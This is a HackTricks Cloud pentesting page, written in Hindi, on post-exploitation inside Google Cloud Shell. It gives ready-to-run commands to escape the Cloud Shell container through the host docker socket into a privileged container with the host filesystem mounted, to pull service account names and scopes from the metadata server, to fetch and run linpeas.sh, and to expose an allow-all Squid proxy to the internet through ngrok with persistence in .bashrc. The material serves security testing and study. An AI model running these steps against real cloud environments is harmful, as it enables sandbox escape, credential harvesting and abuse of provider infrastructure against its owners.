Files
hacktricks-cloud/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-shell-post-exploitation.md

5.8 KiB

GCP - Cloud Shell Post Exploitation

{{#include ../../../banners/hacktricks-training.md}}

Cloud Shell

Cloud Shell के बारे में अधिक जानकारी के लिए देखें:

{{#ref}} ../gcp-services/gcp-cloud-shell-enum.md {{#endref}}

Container Escape

ध्यान दें कि Google Cloud Shell एक container के अंदर चलता है; आप नीचे दिए गए कमांड करके easily escape to the host कर सकते हैं:

Container escape commands ```bash sudo docker -H unix:///google/host/var/run/docker.sock pull alpine:latest sudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest sudo docker -H unix:///google/host/var/run/docker.sock start escaper sudo docker -H unix:///google/host/var/run/docker.sock exec -it escaper /bin/sh ```

यह google द्वारा एक vulnerability माना नहीं जाता, लेकिन यह आपको उस env में क्या हो रहा है का एक व्यापक दृष्टिकोण देता है।

इसके अलावा, ध्यान दें कि host से आप एक service account token पा सकते हैं:

Get service account from metadata ```bash wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/" default/ vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/ ```

निम्नलिखित scopes के साथ:

सर्विस अकाउंट के scopes प्राप्त करें ```bash wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes"

https://www.googleapis.com/auth/devstorage.read_only https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/monitoring.write

</details>

LinPEAS के साथ metadata enumerate करें:

<details>

<summary>LinPEAS के साथ metadata enumerate करें</summary>
```bash
cd /tmp
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
sh linpeas.sh -o cloud

Service Account के token के साथ https://github.com/carlospolop/bf_my_gcp_permissions का उपयोग करने के बाद कोई permission नहीं मिला...

इसे Proxy के रूप में उपयोग करें

यदि आप अपने google cloud shell instance को proxy के रूप में उपयोग करना चाहते हैं तो आपको निम्नलिखित commands चलाने होंगे (या इन्हें .bashrc फ़ाइल में डालना होगा):

Squid proxy इंस्टॉल करें ```bash sudo apt install -y squid ```

जानकारी के लिए: Squid एक http proxy server है। निम्न सेटिंग्स के साथ एक squid.conf फ़ाइल बनाएं:

Create squid.conf file ```bash http_port 3128 cache_dir /var/cache/squid 100 16 256 acl all src 0.0.0.0/0 http_access allow all ```

squid.conf फ़ाइल को /etc/squid में कॉपी करें

कॉन्फ़िग को **/etc/squid** में कॉपी करें ```bash sudo cp squid.conf /etc/squid ```

अंत में squid सेवा चलाएँ:

Start Squid service ```bash sudo service squid start ```

बाहर से proxy उपलब्ध कराने के लिए ngrok का उपयोग करें:

ngrok के साथ proxy को एक्सपोज़ करें ```bash ./ngrok tcp 3128 ```

रन करने के बाद tcp:// url कॉपी करें। यदि आप proxy को browser से चलाना चाहते हैं, तो tcp:// भाग और port हटा दें और port को अपने browser proxy settings के port field में डालें (squid is a http proxy server).

स्टार्टअप पर बेहतर उपयोग के लिए .bashrc फ़ाइल में निम्नलिखित पंक्तियाँ होनी चाहिए:

.bashrc में स्वचालित स्टार्टअप के लिए जोड़ें ```bash sudo apt install -y squid sudo cp squid.conf /etc/squid/ sudo service squid start cd ngrok;./ngrok tcp 3128 ```

निर्देश https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key से कॉपी किए गए थे। उस पृष्ठ में अन्य अनोखे तरीके देखें जिनसे किसी भी प्रकार का सॉफ़्टवेयर (databases and even windows) Cloud Shell में चलाया जा सकता है।

{{#include ../../../banners/hacktricks-training.md}}